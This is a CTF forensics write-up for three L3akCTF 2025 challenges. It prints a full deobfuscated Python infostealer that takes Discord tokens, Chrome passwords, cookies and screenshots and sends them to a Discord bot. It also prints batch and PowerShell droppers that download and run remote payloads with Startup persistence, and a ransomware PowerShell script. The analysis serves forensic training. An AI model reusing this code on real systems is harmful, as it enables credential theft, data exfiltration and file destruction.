L3akCTF 2025 (Post Mortem) | Full Forensics
Rating weight: 24.43
Event organizers: L3ak

forensics/BOMbardino crocodile

Information Gathering
Within the file given we found a .eml extension, with an email conversation between bluecrustacean@proton.me and notwarlocksmurf@proton.me, the content was in base64 encoded with the following content:
Greetings, Operative.
Your activity has not gone unnoticed. The time has come to proceed to the next level. Brotherhood protocols demand absolute discretion.
🕶️ As of 0400 hours, access has been provisioned.
📩 Secure your invite:
👉 https://discord.gg/a7SUtZXaP4
Inside you will find leaks of people dumb enough to click on our brainrot exam.
🔒 Reminder: Do NOT share this link. Operatives who leak will be exiled. Again.
Stay cloaked. Stay corrupt.Inside the discord server lobsterl3aks is found, with an operative discord webhook sharing Info-Stealer data:

Stage 1 - Lil L3ak Secret.bat
Although, password.zip is empty on both leaks so only we have a file-system compressed and two png encoded files. Inside Downloads folder from the user crustacean we found a Windows Batch File with the following content:

By inserting the file into VirusTotal it is detected as a trojan:
After stripping the BOM and removing unusefull commands, we get the following stage of the malware.
start /min cmd /c "powershell -WindowStyle Hidden -Command Invoke-WebRequest -Uri 'https://github.com/bluecrustacean/oceanman/raw/main/t1-l3ak.bat' -OutFile '%TEMP%\temp.bat'; Start-Process -FilePath '%TEMP%\temp.bat' -WindowStyle Hidden"Stage 2 - temp.bat
Going to the temp path from the user: C:\Users\crustacean\AppData\Local\Temp, we continue with another BOM batch file, repeating the same process as above:
start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/bluecrustacean/oceanman/raw/main/ud.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/uuhwziczwa79d6r8erdid/T602.zip?rlkey=fq4lptuz5tvw2qjydfwj9k0ym&st=mtz77hlx&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 60; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\leak.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" && exitStage 3 - leak.py & RC4 Decrypt
This scripts downloads an archive to execute leak.py located in: C:\Users\Public\Document\Lib\leak.py:
_ = lambda __ : __import__('base64').b64decode(__[::-1]);
exec(\
(_)(b'=kSKnoFWoxWW5d2bYl3avlVajlDUWZETjdkTwZVMs9mUyoUYiRkThRWbodlWYlUNWFDZ3RFbkBVVXJ1RXtmVPJVMKR1Vsp1Vj1mUZRFbOFmYGRGMW1GeoJVMadlVYxmbSJjThN2RxMFVF9WeZRlTr1UMSllUtBHWZVlSxV1aW9UTWplcX1WNYRmM0VUWxI0UhFjShVlaKdlTHdGeWxGbHZ1a180VrpFakBjWzZ1a5cUTWJ1VXxmVPd1RSJnVxgWYiVUMM90VxUlVYJkVWJjRwImVONjWHhXaRJjU1Z1MjBTYwUTYTtmUqRleGJXVr...'))Manually I inverted the base64 string and decode it, 3 times in a row, to obtain the following python code:
import psutil
import platform
import json
from datetime import datetime
from time import sleep
import requests
import socket
from requests import get
import os
import re
import subprocess
from uuid import getnode as get_mac
import browser_cookie3 as steal, requests, base64, random, string, zipfile, shutil, os, re, sys, sqlite3
from cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.backends import default_backend
from Crypto.Cipher import AES
from base64 import b64decode, b64encode
from subprocess import Popen, PIPE
from json import loads, dumps
from shutil import copyfile
from sys import argv
import discord
from discord.ext import commands
from io import BytesIO
intents = discord.Intents.default()
intents.message_content = True
bot = commands.Bot(command_prefix='!', intents=intents)
def scale(bytes, suffix="B"):
defined = 1024
for unit in ["", "K", "M", "G", "T", "P"]:
if bytes < defined:
return f"{bytes:.2f}{unit}{suffix}"
bytes /= defined
uname = platform.uname()
bt = datetime.fromtimestamp(psutil.boot_time())
host = socket.gethostname()
localip = socket.gethostbyname(host)
publicip = get(f'https://ipinfo.io/ip').text
city = get(f'https://ipinfo.io/{publicip}/city').text
region = get(f'https://ipinfo.io/{publicip}/region').text
postal = get(f'https://ipinfo.io/{publicip}/postal').text
timezone = get(f'https://ipinfo.io/{publicip}/timezone').text
currency = get(f'https://ipinfo.io/{publicip}/currency').text
country = get(f'https://ipinfo.io/{publicip}/country').text
loc = get(f"https://ipinfo.io/{publicip}/loc").text
vpn = requests.get('http://ip-api.com/json?fields=proxy')
proxy = vpn.json()['proxy']
mac = get_mac()
roaming = os.getenv('AppData')
output = open(roaming + "temp.txt", "a")
Directories = {
'Discord': roaming + '\\Discord',
'Discord Two': roaming + '\\discord',
'Discord Canary': roaming + '\\Discordcanary',
'Discord Canary Two': roaming + '\\discordcanary',
'Discord PTB': roaming + '\\discordptb',
'Google Chrome': roaming + '\\Google\\Chrome\\User Data\\Default',
'Opera': roaming + '\\Opera Software\\Opera Stable',
'Brave': roaming + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
'Yandex': roaming + '\\Yandex\\YandexBrowser\\User Data\\Default',
}
def Yoink(Directory):
Directory += '\\Local Storage\\leveldb'
Tokens = []
for FileName in os.listdir(Directory):
if not FileName.endswith('.log') and not FileName.endswith('.ldb'):
continue
for line in [x.strip() for x in open(f'{Directory}\\{FileName}', errors='ignore').readlines() if x.strip()]:
for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
for Token in re.findall(regex, line):
Tokens.append(Token)
return Tokens
def Wipe():
if os.path.exists(roaming + "temp.txt"):
output2 = open(roaming + "temp.txt", "w")
output2.write("")
output2.close()
else:
pass
realshit = ""
for Discord, Directory in Directories.items():
if os.path.exists(Directory):
Tokens = Yoink(Directory)
if len(Tokens) > 0:
for Token in Tokens:
realshit += f"{Token}\n"
cpufreq = psutil.cpu_freq()
svmem = psutil.virtual_memory()
partitions = psutil.disk_partitions()
disk_io = psutil.disk_io_counters()
net_io = psutil.net_io_counters()
partitions = psutil.disk_partitions()
partition_usage = None
for partition in partitions:
try:
partition_usage = psutil.disk_usage(partition.mountpoint)
break
except PermissionError:
continue
system_info = {
"embeds": [
{
"title": f"Hah Gottem! - {host}",
"color": 8781568
},
{
"color": 7506394,
"fields": [
{
"name": "GeoLocation",
"value": f"Using VPN?: {proxy}\nLocal IP: {localip}\nPublic IP: {publicip}\nMAC Adress: {mac}\n\nCountry: {country} | {loc} | {timezone}\nregion: {region}\nCity: {city} | {postal}\nCurrency: {currency}\n\n\n\n"
}
]
},
{
"fields": [
{
"name": "System Information",
"value": f"System: {uname.system}\nNode: {uname.node}\nMachine: {uname.machine}\nProcessor: {uname.processor}\n\nBoot Time: {bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second}"
}
]
},
{
"color": 15109662,
"fields": [
{
"name": "CPU Information",
"value": f"Psychical cores: {psutil.cpu_count(logical=False)}\nTotal Cores: {psutil.cpu_count(logical=True)}\n\nMax Frequency: {cpufreq.max:.2f}Mhz\nMin Frequency: {cpufreq.min:.2f}Mhz\n\nTotal CPU usage: {psutil.cpu_percent()}\n"
},
{
"name": "Memory Information",
"value": f"Total: {scale(svmem.total)}\nAvailable: {scale(svmem.available)}\nUsed: {scale(svmem.used)}\nPercentage: {svmem.percent}%"
},
{
"name": "Disk Information",
"value": f"Total Size: {scale(partition_usage.total)}\nUsed: {scale(partition_usage.used)}\nFree: {scale(partition_usage.free)}\nPercentage: {partition_usage.percent}%\n\nTotal read: {scale(disk_io.read_bytes)}\nTotal write: {scale(disk_io.write_bytes)}"
},
{
"name": "Network Information",
"value": f"Total Sent: {scale(net_io.bytes_sent)}\nTotal Received: {scale(net_io.bytes_recv)}"
}
]
},
{
"color": 7440378,
"fields": [
{
"name": "Discord information",
"value": f"Token: {realshit}"
}
]
}
]
}
DBP = r'Google\Chrome\User Data\Default\Login Data'
ADP = os.environ['LOCALAPPDATA']
def sniff(path):
path += '\\Local Storage\\leveldb'
tokens = []
try:
for file_name in os.listdir(path):
if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
continue
for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
for token in re.findall(regex, line):
tokens.append(token)
return tokens
except:
pass
def encrypt(cipher, plaintext, nonce):
cipher.mode = modes.GCM(nonce)
encryptor = cipher.encryptor()
ciphertext = encryptor.update(plaintext)
return (cipher, ciphertext, nonce)
def decrypt(cipher, ciphertext, nonce):
cipher.mode = modes.GCM(nonce)
decryptor = cipher.decryptor()
return decryptor.update(ciphertext)
def rcipher(key):
cipher = Cipher(algorithms.AES(key), None, backend=default_backend())
return cipher
def dpapi(encrypted):
import ctypes
import ctypes.wintypes
class DATA_BLOB(ctypes.Structure):
_fields_ = [('cbData', ctypes.wintypes.DWORD),
('pbData', ctypes.POINTER(ctypes.c_char))]
p = ctypes.create_string_buffer(encrypted, len(encrypted))
blobin = DATA_BLOB(ctypes.sizeof(p), p)
blobout = DATA_BLOB()
retval = ctypes.windll.crypt32.CryptUnprotectData(
ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
if not retval:
raise ctypes.WinError()
result = ctypes.string_at(blobout.pbData, blobout.cbData)
ctypes.windll.kernel32.LocalFree(blobout.pbData)
return result
def localdata():
jsn = None
with open(os.path.join(os.environ['LOCALAPPDATA'], r"Google\Chrome\User Data\Local State"), encoding='utf-8', mode="r") as f:
jsn = json.loads(str(f.readline()))
return jsn["os_crypt"]["encrypted_key"]
def decryptions(encrypted_txt):
encoded_key = localdata()
encrypted_key = base64.b64decode(encoded_key.encode())
encrypted_key = encrypted_key[5:]
key = dpapi(encrypted_key)
nonce = encrypted_txt[3:15]
cipher = rcipher(key)
return decrypt(cipher, encrypted_txt[15:], nonce)
class chrome:
def __init__(self):
self.passwordList = []
def chromedb(self):
_full_path = os.path.join(ADP, DBP)
_temp_path = os.path.join(ADP, 'sqlite_file')
if os.path.exists(_temp_path):
os.remove(_temp_path)
shutil.copyfile(_full_path, _temp_path)
self.pwsd(_temp_path)
def pwsd(self, db_file):
conn = sqlite3.connect(db_file)
_sql = 'select signon_realm,username_value,password_value from logins'
for row in conn.execute(_sql):
host = row[0]
if host.startswith('android'):
continue
name = row[1]
value = self.cdecrypt(row[2])
_info = '[==================]\nhostname => : %s\nlogin => : %s\nvalue => : %s\n[==================]\n\n' % (host, name, value)
self.passwordList.append(_info)
conn.close()
os.remove(db_file)
def cdecrypt(self, encrypted_txt):
if sys.platform == 'win32':
try:
if encrypted_txt[:4] == b'\x01\x00\x00\x00':
decrypted_txt = dpapi(encrypted_txt)
return decrypted_txt.decode()
elif encrypted_txt[:3] == b'v10':
decrypted_txt = decryptions(encrypted_txt)
return decrypted_txt[:-16].decode()
except WindowsError:
return None
else:
pass
def saved(self):
try:
with open(r'C:\ProgramData\passwords.txt', 'w', encoding='utf-8') as f:
f.writelines(self.passwordList)
except WindowsError:
return None
@bot.event
async def on_ready():
print(f'Logged in as {bot.user}')
channel = bot.get_channel(CHANNEL_ID)
if not channel:
print(f"Could not find channel with ID: {CHANNEL_ID}")
return
main = chrome()
try:
main.chromedb()
except Exception as e:
print(f"Error getting Chrome passwords: {e}")
main.saved()
await exfiltrate_data(channel)
await bot.close()
async def exfiltrate_data(channel):
try:
hostname = requests.get("https://ipinfo.io/ip").text
except:
hostname = "Unknown"
local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')
paths = {
'Discord': roaming + '\\Discord',
'Discord Canary': roaming + '\\discordcanary',
'Discord PTB': roaming + '\\discordptb',
'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
'Opera': roaming + '\\Opera Software\\Opera Stable',
'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
}
message = '\n'
for platform, path in paths.items():
if not os.path.exists(path):
continue
message += '```'
tokens = sniff(path)
if len(tokens) > 0:
for token in tokens:
message += f'{token}\n'
else:
pass
message += '```'
try:
from PIL import ImageGrab
from Crypto.Cipher import ARC4
screenshot = ImageGrab.grab()
screenshot_path = os.getenv('ProgramData') + r'\pay2winflag.jpg'
screenshot.save(screenshot_path)
with open(screenshot_path, 'rb') as f:
image_data = f.read()
key = b'tralalero_tralala'
cipher = ARC4.new(key)
encrypted_data = cipher.encrypt(image_data)
encrypted_path = screenshot_path + '.enc'
with open(encrypted_path, 'wb') as f:
f.write(encrypted_data)
await channel.send(f"Screenshot from {hostname} (Pay $500 for the key)", file=discord.File(encrypted_path))
except Exception as e:
print(f"Error taking screenshot: {e}")
try:
zname = r'C:\ProgramData\passwords.zip'
newzip = zipfile.ZipFile(zname, 'w')
newzip.write(r'C:\ProgramData\passwords.txt')
newzip.close()
await channel.send(f"Passwords from {hostname}", file=discord.File(zname))
except Exception as e:
print(f"Error with password file: {e}")
try:
usr = os.getenv("UserName")
keys = subprocess.check_output('wmic path softwarelicensingservice get OA3xOriginalProductKey').decode().split('\n')[1].strip()
types = subprocess.check_output('wmic os get Caption').decode().split('\n')[1].strip()
except Exception as e:
print(f"Error getting system info: {e}")
usr = "Unknown"
keys = "Unknown"
types = "Unknown"
cookie = [".ROBLOSECURITY"]
cookies = []
limit = 2000
roblox = "No Roblox cookies found"
try:
cookies.extend(list(steal.chrome()))
except Exception as e:
print(f"Error stealing Chrome cookies: {e}")
try:
cookies.extend(list(steal.firefox()))
except Exception as e:
print(f"Error stealing Firefox cookies: {e}")
try:
for y in cookie:
send = str([str(x) for x in cookies if y in str(x)])
chunks = [send[i:i + limit] for i in range(0, len(send), limit)]
for z in chunks:
roblox = f'```{z}```'
except Exception as e:
print(f"Error processing cookies: {e}")
embed = discord.Embed(title=f"Data from {hostname}", description="A victim's data was extracted, here's the details:", color=discord.Color.blue())
embed.add_field(name="Windows Key", value=f"User: {usr}\nType: {types}\nKey: {keys}", inline=False)
embed.add_field(name="Roblox Security", value=roblox[:1024], inline=False)
embed.add_field(name="Tokens", value=message[:1024], inline=False)
await channel.send(embed=embed)
with open(r'C:\ProgramData\system_info.json', 'w', encoding='utf-8') as f:
json.dump(system_info, f, indent=4, ensure_ascii=False)
await channel.send(file=discord.File(r'C:\ProgramData\system_info.json'))
try:
os.remove(r'C:\ProgramData\pay2winflag.jpg')
os.remove(r'C:\ProgramData\pay2winflag.jpg.enc')
os.remove(r'C:\ProgramData\passwords.zip')
os.remove(r'C:\ProgramData\passwords.txt')
os.remove(r'C:\ProgramData\system_info.json')
except Exception as e:
print(f"Error cleaning up: {e}")
BOT_TOKEN = "MTM2NDIzNDEzNjE5MzMzOTQyNA.GHC4yD.ZUzwkrAEMW9GlLsmVnP7FbdY317MqM234Bd2vE"
CHANNEL_ID = 1371505369230344273
if __name__ == "__main__":
bot.run(BOT_TOKEN)Reviewing other writeups I wanted to mention the following cyberchef script from oxygen28
Label('top')
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
Reverse('Character')
From_Base64('A-Za-z0-9+/=',true,false)
Conditional_Jump('psutil',true,'top',100)At first glance, it seems to be a Stealer, mainly for discord tokens and browsers data, and as we said before it is send to the discord webhook/discord bot.
Also we found the RC4 key for the images encrypted in the discord channel:
from PIL import ImageGrab
from Crypto.Cipher import ARC4
screenshot = ImageGrab.grab()
screenshot_path = os.getenv('ProgramData') + r'\pay2winflag.jpg'
screenshot.save(screenshot_path)
with open(screenshot_path, 'rb') as f:
image_data = f.read()
key = b'tralalero_tralala'
cipher = ARC4.new(key)
encrypted_data = cipher.encrypt(image_data)
encrypted_path = screenshot_path + '.enc'
with open(encrypted_path, 'wb') as f:
f.write(encrypted_data)
await channel.send(f"Screenshot from {hostname} (Pay $500 for the key)", file=discord.File(encrypted_path))With the key: tralalero_tralala we obtain the second part of the flag:

Stage 4 - Batch Persistence
After all, I keep searching for others persistencies methods finding another Batch File in AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/, stripping it we obtain a powershell script with Stacked Strings.
Later, by playing with the variables name and being cautelous we find the first part of the flag completting the challenge:
start /min powershell.exe -WindowStyleHidden -Command "C:\Users\Public\Document\python C:\Users\Public\Document\Lib\leak.py"Final Flag:
L3AK{Br4d0_st34L3r_0r_br41nr0t}forensics/Ghost In The Dark

Information Gathering
We have given a DOS/MBR file:
GhostInTheDark.001: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 “Invalid partition table” at offset 0x17b “Error loading operating system” at offset 0x19a “Missing operating system”, disk signature 0xf6a155; partition 1 : ID=0x7, start-CHS (0x0,2,3), end-CHS (0xb,254,63), startsector 128, 198656 sectors
By extracting the content of the file, with 7zip, we observe some hidden content and ransomware notes:
Directory of C:\L3akCTF\NTFS
07/16/2025 03:31 PM <DIR> .
07/16/2025 03:31 PM <DIR> ..
06/27/2025 05:49 AM 48 flag.enc
06/27/2025 05:48 AM 2,074 payload.enc
06/27/2025 05:49 AM 240 ransom_note.txt
06/27/2025 05:49 AM 241,632 RIP_PuppyJaws.enc
06/27/2025 05:42 AM <DIR> System Volume Information
06/27/2025 05:49 AM 432 trip_itinerary.enc
06/27/2025 05:50 AM <DIR> [SYSTEM]
5 File(s) 244,426 bytes
4 Dir(s) 376,262,365,184 bytes freeThe ransom note was:
i didn't mean to encrypt them.
i was just trying to remember.
the key? maybe it's still somewhere in the dark.
the script? it was scared, so it disappeared too.
maybe you'll find me.
maybe you'll find yourself.
- vivi (or his ghost)MFT Viewer & Decrypting
As we have inside [SYSTEM] folder an $MFT file, grab it into Eric Zimmerman Tools, MFT Explorer v2.1.0 to download the deleted file loader.ps1 that is mentioned in ransom_note.txt.

Here a brief demostration of the code:
$key = [System.Text.Encoding]::UTF8.GetBytes("0123456789abcdef")
$iv = [System.Text.Encoding]::UTF8.GetBytes("abcdef9876543210")
$AES = New-Object System.Security.Cryptography.AesManaged
$AES.Key = $key
$AES.IV = $iv
$AES.Mode = "CBC"
$AES.Padding = "PKCS7"
$enc = Get-Content "L:\payload.enc" -Raw
$bytes = [System.Convert]::FromBase64String($enc)
$decryptor = $AES.CreateDecryptor()
$plaintext = $decryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
$script = [System.Text.Encoding]::UTF8.GetString($plaintext)
Invoke-Expression $script
Remove-Item $MyInvocation.MyCommand.PathWith the following CyberChef Recipe:
From_Base64('A-Za-z0-9+/=',true,false)
AES_Decrypt({'option':'UTF8','string':'0123456789abcdef'},{'option':'UTF8','string':'abcdef9876543210'},'CBC','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})The next stage is obtained:
$key = [System.Text.Encoding]::UTF8.GetBytes("m4yb3w3d0nt3x1st")
$iv = [System.Text.Encoding]::UTF8.GetBytes("l1f31sf0rl1v1ng!")
$AES = New-Object System.Security.Cryptography.AesManaged
$AES.Key = $key
$AES.IV = $iv
$AES.Mode = "CBC"
$AES.Padding = "PKCS7"
## Load plaintext flag from C:\ (never written to L:\ in plaintext)
$flag = Get-Content "C:\Users\Blue\Desktop\StageRansomware\flag.txt" -Raw
$encryptor = $AES.CreateEncryptor()
$bytes = [System.Text.Encoding]::UTF8.GetBytes($flag)
$cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
[System.IO.File]::WriteAllBytes("L:\flag.enc", $cipher)
## Encrypt other files staged in D:\ (or L:\ if you're using L:\ now)
$files = Get-ChildItem "L:\" -File | Where-Object {
$_.Name -notin @("ransom.ps1", "ransom_note.txt", "flag.enc", "payload.enc", "loader.ps1")
}
foreach ($file in $files) {
$plaintext = Get-Content $file.FullName -Raw
$bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
$cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
[System.IO.File]::WriteAllBytes("L:\$($file.BaseName).enc", $cipher)
Remove-Item $file.FullName
}
## Write ransom note
$ransomNote = @"
i didn't mean to encrypt them.
i was just trying to remember.
the key? maybe it's still somewhere in the dark.
the script? it was scared, so it disappeared too.
maybe you'll find me.
maybe you'll find yourself.
- vivi (or his ghost)
"@
Set-Content "L:\ransom_note.txt" $ransomNote -Encoding UTF8
## Self-delete
Remove-Item $MyInvocation.MyCommand.PathSame process than before and the flag will be given:

forensics/Wi-Fight A Ghost?

Question Index
This challenge format remembers me to Sherlocks from HackTheBox, the next 14 questions are given:
Welcome to the Ghost Hunt Terminal. Answer all questions to reveal the final flag.
Type 'exit' at any prompt to quit.
Unanswered Questions:
1. What was the ComputerName of the device?
2. What was the SSID of the first Wi-Fi network they connected to?
3. When did they obtain the DHCP lease at the first café?
4. What IP address was assigned at the first café?
5. What GitHub page did they visit at the first café?
6. What did they download at the first café?
7. What was the name of the notes file?
8. What are the contents of the notes?
9. What was the SSID of the second Wi-=Fi network they connected to?
10. When did they obtain the second lease?
11. What was the IP address assigned at the second café?
12. What website did they log into at the second café?
13. What was the MAC address of the Wi-Fi adapter used?
14. What city did this take place in?The file provided is a KAPEOUT from Kroll Artifact Parser and Extractor, this information could be useful in a future if is needed. Anyways I would use FTK Imager to parse the filesystem folder, this is not necesary, you can use you file browser, autopsy or any tool, I use it for convenience and to detect unallocated space inside the folder.
Question 1
As they are asking for the computer’s name, export C:\Windows\System32\config\SYSTEM file and open it with Registry Explorer:

First flag: 99PHOENIXDOWNS
Question 2, 3, 4
Then, they ask us for the SSID of the first Wi-Fi network they connected to and what ip they have given and when.
For the SSID Name we can go to the file: `C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces{2b….}.xml'
<?xml version="1.0" ?>
- <WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>mugs_guest_5G</name>
- <SSIDConfig>
- <SSID>
<hex>6D7567735F67756573745F3547</hex>
<name>mugs_guest_5G</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
- <MSM>
- <security>
- <authEncryption>
<authentication>WPA3SAE</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
<transitionMode xmlns="http://www.microsoft.com/networking/WLAN/profile/v4">true</transitionMode>
</authEncryption>
- <sharedKey>
<keyType>passPhrase</keyType>
<protected>true</protected>
<keyMaterial>01000000D08C9DDF0115D1118C7A00C04FC297EB0100000027BA46BE60165F489902447DADDD376400000000020000000000106600000001000020000000B71A769EE992B83996ACA0EA2DDBD36FB687258C5F465FE82B76A88162AFD186000000000E800000000200002000000053332437AB2888DBDBE294DAA0FEB07172871F6D1C20F0EEB1A9C0F03A4440711000000070C4F37EE924D6D41E9FB19BF319753240000000F85ABD2CD15A0FDBE8BA653A75ADEF9A2CCEAA6E9D61E34D4ACB7D29A072EEEAEA84905134174A5C59BAFFE042869B18D07D4B3AA9E4329945235F59A46F7B98</keyMaterial>
</sharedKey>
</security>
</MSM>
- <MacRandomization xmlns="http://www.microsoft.com/networking/WLAN/profile/v3">
<enableRandomization>false</enableRandomization>
<randomizationSeed>2081371451</randomizationSeed>
</MacRandomization>
</WLANProfile>Question 2: mugs_guest_5G
Question 3: 2025–05–14 00:13:36
Question 4: 192.168.0.114
Question 5
Then they ask us in which github page the user had visit, examining google data we didn’t find nothing, so we change to Microsoft Edge Brower, in the database: WebAssistDatabase we found a github link inside navigation_history from the challenge creator:
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
meta navigation_history product_entities
sqlite> select * from navigation_history;
https://www.microsoft.com/en-us/edge/welcome?form=MT00LJ&cs=1648135533|0|Welcome to Microsoft Edge|microsoft edg ha built tool like collect vertic tab tab group help stay organ make most time onlin|1747181849|1||en-us|welcom microsoft edg|microsoft en us edg welcom form mt00lj cs 1648135533|
https://www.bing.com/search?q=github+bluebook+dfir&form=ANNTH1&refig=E4BD7BF5AF5349AA8C918F800EA52604&pc=HCTS|1|bing.com/ck/a?!&&p=6032033d1823286c3727e6d59862d57f8043f6d6885fadbf842b8196e2564e1dJmltdHM9MTc0NzA5NDQwMA&ptn=3&ver=2&hsh=4&fclid=34284d37-d743-6138-28ef-58dbd69a606a&psq=github+bluebook+dfir&u=a1aHR0cHM6Ly9naXRodWIuY29tL2RiaXNzZWxsNi9ERklSL2Jsb2IvbWFpbi9CbHVlX0Jvb2svQmx1ZV9Cb29rLm1k&ntb=1||1747181908|2||en-us|bing ck p 6032033d1823286c3727e6d59862d57f8043f6d6885fadbf842b8196e2564e1djmltdhm9mtc0nza5ndqwma ptn 3 ver 2 hsh 4 fclid 34284d37 d743 6138 28ef 58dbd69a606a psq github bluebook dfir u a1ahr0chm6ly9naxrodwiuy29tl2riaxnzzwxsni9erklsl2jsb2ivbwfpbi9cbhvlx0jvb2svqmx1zv9cb29rlm1k ntb 1|bing search q github bluebook dfir form annth1 refig e4bd7bf5af5349aa8c918f800ea52604 pc hct|
https://github.com/dbissell6/DFIR/blob/main/Blue_Book/Blue_Book.md|2|DFIR/Blue_Book/Blue_Book.md at main · dbissell6/DFIR · GitHub|repository dedic dfir journey contain note reflect link tool dfir blue book blue book md main · dbissell6 dfir|1747181910|1||en-us|dfir blue book blue book md main · dbissell6 dfir · github|github dbissell6 dfir blob main blue book blue book md|
https://www.bing.com/search?q=chrome&form=ANNTH1&refig=0c58b2eace5a44aa9643b851ef4da6c8&pc=HCTS|3|chrome - Search||1747181932|1||en-us|chrome search|bing search q chrome form annth1 refig 0c58b2eace5a44aa9643b851ef4da6c8 pc hct|
https://www.google.com/chrome/|4|Google Chrome - The Fast & Secure Web Browser Built to be Yours|chrome offici web browser googl built be fast secur customiz download now make|1747181941|1||en-us|googl chrome fast secur web browser built be|googl chrome|Question 5: https://github.com/dbissell6/DFIR/blob/main/Blue_Book/Blue_Book.md
Question 6
As the user is using Edge we continue searching on its registers to find what he has downloaded, in this browser, inside the database History there is a table donwloads with a google chrome executable:
sqlite> select * from downloads;
1|6fc1b9e3-29d3-4aac-8f0a-aad6571bbb06|C:\Users\NotVi\Downloads\ChromeSetup.exe|C:\Users\NotVi\Downloads\ChromeSetup.exe|13391655568733432|11457408|11457408|1|4|0||13391655570880822|1|13391655592889413|0|https://www.google.com/||
|https://www.google.com/chrome/|https://www.bing.com/|||||"43b5019-034854fd"|Mon, 12 May 2025 14:46:08 GMT|application/x-msdownload|application/x-msdos-programQuestion 6: ChromeSetup.exe
Question 7, 8
Then, the challenge ask us about the name of a note file and its content, by going to the windows/recent path we are able to see what files have been opening throught the last time, there we found a .lnk file to the original txt:
C:\Users\NotVi\OneDrive\Desktop\HowToHackTheWorld.txtFor the Question 8 you need to open MFT Explorer from Eric Zimmerman and obtain the content of the file, being: Practice and take good notes.
Question 7: HowToHackTheWorld.txt
Question 8: Practice and take good notes.
Question 9, 10, 11
The next 3 questions are the same method than before, so I will post only the answer and continue to Q12, Q13 and Q14:
Question 9: AlleyCat
Question 10: 2025–05–14 00:35:07
Question 11: 10.0.6.28
Question 12
Later they ask about the webpage visited in the AlleyCat Wifi, as we know that he has download Google Chrome we dig into the History database and we find that they enter to l3ak.team
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
cluster_keywords downloads segment_usage
cluster_visit_duplicates downloads_slices segments
clusters downloads_url_chains urls
clusters_and_visits history_sync_metadata visit_source
content_annotations keyword_search_terms visited_links
context_annotations meta visits
sqlite> select * from urls;
1|https://www.google.com/search?q=l3ak+ctf&oq=l3ak&gs_lcrp=EgZjaHJvbWUqBwgBEAAYgAQyBggAEEUYOTIHCAEQABiABDIMCAIQABgKGLEDGIAEMgwIAxAAGAoYsQMYgAQyDAgEEC4YChixAxiABDIMCAUQABgKGLEDGIAEMhIIBhAAGAoYgwEYsQMYgAQYigUyDAgHEAAYChixAxiABDIMCAgQABgKGLEDGIAEMgkICRAAGAoYgATSAQk0MzE3ajBqMTWoAgiwAgHxBSnkh66f1-618QUp5Ieun9futQ&sourceid=chrome&ie=UTF-8|l3ak ctf - Google Search|1|0|13391656568001915|0
2|https://www.google.com/search?q=l3ak+ctf&oq=l3ak&gs_lcrp=EgZjaHJvbWUqBwgBEAAYgAQyBggAEEUYOTIHCAEQABiABDIMCAIQABgKGLEDGIAEMgwIAxAAGAoYsQMYgAQyDAgEEC4YChixAxiABDIMCAUQABgKGLEDGIAEMhIIBhAAGAoYgwEYsQMYgAQYigUyDAgHEAAYChixAxiABDIMCAgQABgKGLEDGIAEMgkICRAAGAoYgATSAQk0MzE3ajBqMTWoAgiwAgHxBSnkh66f1-618QUp5Ieun9futQ&sourceid=chrome&ie=UTF-8&sei=eOUjaMTmEomN0PEPnbvGwAc|l3ak ctf - Google Search|1|0|13391656568199990|0
3|https://www.l3ak.team/|L3ak|1|0|13391656576610374|0
4|http://l3ak.team/|L3ak|1|0|13391656576610374|0
5|https://l3ak.team/|L3ak|1|0|13391656576610374|0
6|https://l3ak.team/2023/06/17/nahamctf23/|NahamconCTF - [Signed Jeopardy] - Crypto - L3ak|2|0|13391656600855481|0
7|https://l3ak.team/members/|L3ak{Current_Members} - L3ak|1|0|13391656586008614|0Question 12: l3ak.team
Question 13, 14
The question 13 talks about a MAC address of the Wi-Fi adapter used if we come back to the Interfaces section where we obtained some answers we can find that the Network: AlleyCat has used the interface: {18c11dbd-93ab-4ca9-a804-4f4475da25b8}

Knowing the interface we can do a general search for the string: PermanentAddress

